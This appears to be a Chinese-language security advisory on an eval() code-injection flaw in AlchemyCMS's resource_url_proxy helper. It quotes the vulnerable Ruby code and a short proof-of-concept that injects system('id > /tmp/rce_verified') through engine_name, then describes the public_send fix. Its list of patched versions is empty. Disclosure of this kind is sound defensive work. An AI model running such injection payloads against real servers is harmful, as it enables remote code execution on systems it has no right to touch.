在 AlchemyCMS 框架中发现了一个涉及**动态求值代码中指令的不当中和(CWE-95)**的严重安全漏洞。该漏洞允许具有管理员权限的已认证用户通过 eval() 注入点,在主机服务器上执行任意 Ruby 代码和系统命令。
app/helpers/alchemy/resources_helper.rbAlchemy::ResourcesHelper#resource_url_proxy该辅助方法不安全地处理了 resource_handler 对象中的 engine_name 属性。该属性未经任何清理或验证,被直接传入 Ruby 的 eval() 函数。
def resource_url_proxy(resource_handler)
if resource_handler.in_engine?
eval(resource_handler.engine_name) # rubocop:disable Security/Eval
else
main_app
end
end
# rubocop:disable Security/Eval 指令的存在证实了使用 eval() 的安全影响已被识别,但在实现过程中被绕过。
该漏洞在 AlchemyCMS 管理界面渲染基于资源的视图(例如站点或语言)时被触发。如果攻击者能够操纵模块配置或底层资源数据,即可实现代码执行。
以下脚本通过模拟易受攻击的辅助方法环境,演示了任意代码执行:
Ruby
require 'ostruct'
def resource_url_proxy(resource_handler)
if resource_handler.engine_name && !resource_handler.engine_name.empty?
eval(resource_handler.engine_name)
end
end
# 载荷:执行系统 'id' 命令并创建证据文件
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)
resource_url_proxy(handler)
执行后,系统命令被处理,攻击者即可获得对服务器环境的访问权限。
该漏洞已在以下修补版本中得到解决:
修复措施包括将 eval() 调用替换为 public_send(),以安全地将请求路由到预期的引擎代理:
Ruby
main_app.public_send(resource_handler.engine_name) if resource_handler.engine_name.present?
CVE 参考:CVE-2026-23885